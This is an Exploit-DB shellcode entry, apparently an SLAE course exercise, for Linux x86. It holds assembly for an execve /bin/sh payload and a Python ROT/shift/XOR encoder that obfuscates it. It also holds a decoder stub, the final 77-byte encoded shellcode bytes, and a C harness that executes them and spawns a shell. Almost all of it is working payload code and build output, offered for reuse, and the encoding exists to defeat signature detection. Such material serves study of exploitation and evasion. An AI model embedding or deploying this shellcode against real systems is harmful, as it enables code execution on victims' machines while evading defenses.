EDB-ID: 43890 | Author: Hashim Jawad | Published: 2018-01-23 | CVE: N/A | Type: Shellcode | Platform: Linux_x86 | Aliases: N/A | Advisory/Source: Link | Tags: N/A | Shellcode:  Download / View Raw | Shellcode Size: 77 bytes |
#################################### Description ####################################
; Title : [ROT-N + Shift-N + XOR-N] encoded /bin/sh - Shellcode
; Author : Hashim Jawad
; Blog Post : https://ihack4falafel.com/2018/01/rot-n-shift-n-xor-n-shellcode-encoder-linux-x86/
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/sh shell
; Tested On : Ubuntu 12.04.5 LTS
; Arch : x86
; Size : 77 bytes
##################################### sh.nasm ######################################
global _start
section .text
_start:
;
; execve() code block
;
xor eax,eax ; initiliaze EAX
push eax ; push null terminator
push 0x68732f2f ; push /bin//sh
push 0x6e69622f
xchg ebx,esp ; save stack pointer to EBX
mov al,0xb ; __NR_execve 11
int 0x80 ; ping kernel!
############################# Original Shellcode ####################################
ihack4falafel@ubuntu:~$ nasm -f elf32 -o sh.o sh.nasm
ihack4falafel@ubuntu:~$ ld -z execstack -o sh sh.o
ihack4falafel@ubuntu:~$ objdump -d ./sh|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xdc\xb0\x0b\xcd\x80"
################################# Encoder.py #####################################
#!/usr/bin/python
import sys
# Colors
#---------------#---------#
W = '\033[0m' # White #
P = '\033[35m' # Purple #
Y = '\033[33m' # Yellow #
#---------------#---------#
# Check ROT, SHL, and XOR input, otherwise print usage, example, and important notes!
if len(sys.argv) < 4:
print Y+ "Usage :" + P+ " python Encoder.py <ROT number> <number of bits to shift> <XOR number> " +W
print Y+ "Example :" + P+ " python Encoder.py 13 1 1337 " +W
print Y+ "Notes :" + P+ " 1) Make sure to update Decoder.nasm with input values. " +W
print " " + P+ " 2) Due to encoded_shellcode size (word) in Decoder.nasm, shift operatio" +W
print " " + P+ " n is limited to <1-8> bits. Feel free to upgrade size to DW to allow" +W
print " " + P+ " up to 16-bits shift operation. " +W
print " " + P+ " 3) Encoder.py currently include /bin/sh shellcode as proof of concept. " +W
print " " + P+ " Make sure to change it to your desired shellcode. " +W
sys.exit(0)
ROT = int(sys.argv[1])
nbits = int(sys.argv[2])
XOR = int(sys.argv[3])
# initial values
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xdc\xb0\x0b\xcd\x80") # paste your shellcode here
XOR_HEX = hex(XOR) # Encoded shellcode terminator
encoded_shellcode = ""
original_shellcode = ""
# Orginal shellcode formatted
for x in bytearray(shellcode):
original_shellcode += '0x'
original_shellcode += '%02x, ' %x
# [ROT-N + SHL-N + XOR-N] encoded shellcode formatted
for y in bytearray(shellcode):
byte = (y + ROT)%256 #|-->ROT-N
byte = byte << nbits #########|-->SHL-N
byte = byte ^ XOR #################|-->XOR-N
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %byte
# print original and encoded shellcode
print Y+ "Original Shellcode: " + P+ original_shellcode +W
print Y+ "Encoded Shellcode : " + P+ encoded_shellcode + Y+ XOR_HEX +W
#################################### Encoded Shellcode ##########################################
ihack4falafel@ubuntu:~$ python Encoder.py 13 1 1337
Original Shellcode: 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x87, 0xdc, 0xb0, 0x0b, 0xcd, 0x80,
Encoded Shellcode : 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539
ihack4falafel@ubuntu:~$
#################################### Decoder.nasm ###############################################
global _start
section .text
_start:
;
; [ROT-N + SHL-N + XOR-N] encoded execve() code block
;
jmp short call_decoder ; jump to call_decoder to save encoded_shellcode pointer to ESI
decoder:
pop esi ; store encoded_shellcode pointer in ESI
push esi ; push encoded_shellcode pointer to stack for later execution
mov edi, esi ; move encoded_shellcode pointer to EDI
decode:
;
; note: 1) Make sure ROT, SHR, and XOR here match your encoder.py input.
; 2) Hence we're limited by the size of encoded_shellcode (word),
; SHR is limited to <1-8> bits. Feel free to upgrade size to DW
; to allow up to 16-bits shift if need be.
;
mov ax, [esi] ; move current word from encoded_shellcode to AX
xor ax, 0x539 ; XOR encoded_shellcode with 1337, one word at a time
jz decoded_shellcode ; if zero jump to decoded_shellcode
shr ax, 1 ; shift encoded_shellcode to right by one bit, one word at a time
sub ax, 13 ; substract 13 from encoded_shellcode, one word at a time
mov [edi], al ; move decoded byte to EDI
inc esi ; point to the next encoded_shellcode word
inc esi
inc edi ; point to the next decoded_shellcode byte
jmp short decode ; jump to decode and repeat the decoding process for the next word!
decoded_shellcode:
call [esp] ; execute decoded_shellcode
call_decoder:
call decoder
encoded_shellcode: dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539
######################################### Final Shellcode ###########################################
ihack4falafel@ubuntu:~# nasm -f elf32 -o Decoder.o Decoder.nasm
ihack4falafel@ubuntu:~# ld -z execstack -o Decoder Decoder.o
ihack4falafel@ubuntu:~# objdump -d ./Decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x1e\x5e\x56\x89\xf7\x66\x8b\x06\x66\x35\x39\x05\x74\x0e\x66\xd1\xe8\x66\x83\xe8\x0d\x88\x07\x46\x46\x47\xeb\xe9\xff\x14\x24\xe8\xdd\xff\xff\xff\x45\x05\xa3\x04\x83\x05\xd3\x05\x41\x05\x41\x05\x39\x04\xd3\x05\xd3\x05\x41\x05\xe7\x05\xd5\x05\xcf\x05\x11\x04\xeb\x04\x43\x04\x09\x05\x8d\x04\x23\x04\x39\x05"
ihack4falafel@ubuntu:~# gcc -fno-stack-protector -z execstack sh.c -o sh
ihack4falafel@ubuntu:~$ ./sh
Shellcode Length: 77
$ whoami
ihack4falafel
$
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x1e\x5e\x56\x89\xf7\x66\x8b\x06\x66\x35\x39\x05\x74\x0e\x66\xd1\xe8\x66\x83\xe8\x0d\x88\x07\x46\x46\x47\xeb\xe9\xff\x14\x24\xe8\xdd\xff\xff\xff\x45\x05\xa3\x04\x83\x05\xd3\x05\x41\x05\x41\x05\x39\x04\xd3\x05\xd3\x05\x41\x05\xe7\x05\xd5\x05\xcf\x05\x11\x04\xeb\x04\x43\x04\x09\x05\x8d\x04\x23\x04\x39\x05";
void main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
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